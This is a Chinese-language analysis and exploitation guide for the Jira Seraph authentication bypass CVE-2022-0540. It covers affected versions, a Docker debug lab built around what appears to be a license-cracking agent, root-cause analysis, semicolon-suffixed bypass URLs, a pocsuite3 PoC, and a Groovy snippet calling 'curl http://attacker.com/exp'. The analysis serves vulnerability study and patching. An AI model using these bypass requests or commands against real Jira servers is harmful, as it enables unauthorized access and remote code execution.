CVE-2022-0540: Jira身份验证绕过分析
字数 1857 2025-08-27 12:33:54
Jira身份验证绕过漏洞(CVE-2022-0540)深度分析与利用指南
0x00 漏洞概述
CVE编号: CVE-2022-0540
漏洞类型: 身份验证绕过
影响组件: Jira和Jira Service Management中的Web身份验证框架Jira Seraph
漏洞描述:
Jira和Jira Service Management的Web身份验证框架Jira Seraph存在身份验证绕过漏洞。未经身份验证的远程攻击者可以通过发送特制的HTTP请求,绕过WebWork操作中的身份验证和授权要求。
0x01 影响版本
Jira受影响版本:
- 所有版本 < 8.13.18
- 8.14.x、8.15.x、8.16.x、8.17.x、8.18.x、8.19.x
- 8.20.x < 8.20.6
- 8.21.x
Jira Service Management受影响版本:
- 所有版本 < 4.13.18
- 4.14.x、4.15.x、4.16.x、4.17.x、4.18.x、4.19.x
- 4.20.x < 4.20.6
- 4.21.x
0x02 环境搭建与调试配置
1. 使用Docker搭建漏洞环境
基础Dockerfile配置:
FROM atlassian/jira-software:8.13.17
USER root
COPY "atlassian-agent.jar" /opt/atlassian/jira/
RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh
添加调试支持的Dockerfile修改:
RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000 ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh
构建和运行容器:
docker build -t jira/jira-crack:8.13.17 .
docker volume create --name jiraVolume
docker run -v jiraVolume:/var/atlassian/application-data/jira --name="jira" -d --net=host jira/jira-crack:8.13.17
替代调试配置方法:
docker run -e JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000" ...
2. 本地调试环境配置
- 下载Jira 8.13.17和8.13.18安装包
- 批量反编译+解压缩
- 在IDEA中创建Java项目
- 添加以下目录到Library:
WEB-INF/classesWEB-INF/lib/lib
- 配置远程调试连接容器IP和8000端口
0x03 漏洞原理分析
版本差异对比
通过比较8.13.17和8.13.18版本,发现关键差异在:
- 新增文件:
ActionNameCleaner.java WebworkPluginSecurityServiceHelper.java有明显修改- 对action的获取方式改变:
- 8.13.17: 使用
getRequestURI()获取最后一个"/"后的内容 - 8.13.18: 使用
getServletPath()获取最后一个"/"到".jspa"中间的内容
- 8.13.17: 使用
关键调用链
SecurityFilter.dofilter
-> JiraSeraphSecurityService.getRequiredRoles
-> loginManagerimpl.getRequiredRoles
-> authorisationManagerlmpl.getRequiredRoles
-> WebworkPluginSecurityServiceHelper.getRequiredRoles
-> ActionNameCleaner.getActionLastUrlSegment (18版)
认证服务类型
Jira实现了三种服务:
- JiraPathService: 当请求路径以
/secure/admin/开头时,需要admin角色 - WebworkService: 从
actions.xml文件中获取webwork的roles-required配置 - JiraSeraphSecurityService: 从所有插件的
atlassian-plugin.xml文件中获取webwork action的roles-required配置
漏洞触发机制
当URL中包含分号";"时:
getRequestURI()会包含分号后的内容getServletPath()不会包含分号后的path parameter- 导致Seraph无法在actionMapper中找到匹配项
requiredRoles返回为空needauth为false- 成功绕过
securityFilter
0x04 漏洞利用
基本PoC
访问受保护页面时在URL末尾添加分号:
http://[target]/secure/Dashboard.jspa;
针对Insight插件的利用
- 确保安装了Insight - Asset Management插件(版本<8.10.0)
- 尝试访问:
http://[target]/InsightPluginShowGeneralConfiguration.jspa;
绕过/admin/路径限制
将/secure/admin/从路径中删除并添加分号:
http://[target]/InsightPluginWhiteList.jspa;
0x05 RCE尝试
管理员权限下的RCE
通过Groovy脚本引擎执行命令:
def command = 'curl http://attacker.com/exp'
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"
越权RCE的限制
虽然可以绕过部分权限检查访问某些管理页面,但执行命令的API通常需要验证cookie,不受此漏洞直接影响。
0x06 修复方案
- 升级到以下安全版本:
- Jira >= 8.13.18
- Jira >= 8.20.6
- Jira Service Management >= 4.13.18
- Jira Service Management >= 4.20.6
- 临时缓解措施:
- 限制对Jira实例的访问
- 监控异常访问模式
0x07 参考链接
附录: PoC代码示例
# pocsuite3 PoC示例
def _exploit(self):
target = self.target
url = f"{target}/secure/Dashboard.jspa;"
try:
resp = requests.get(url, allow_redirects=False)
if resp.status_code == 200 and "Dashboard" in resp.text:
self.result = True
except Exception as e:
self.result = False
注意: 实际利用前请确保获得合法授权,未经授权的测试可能违反法律。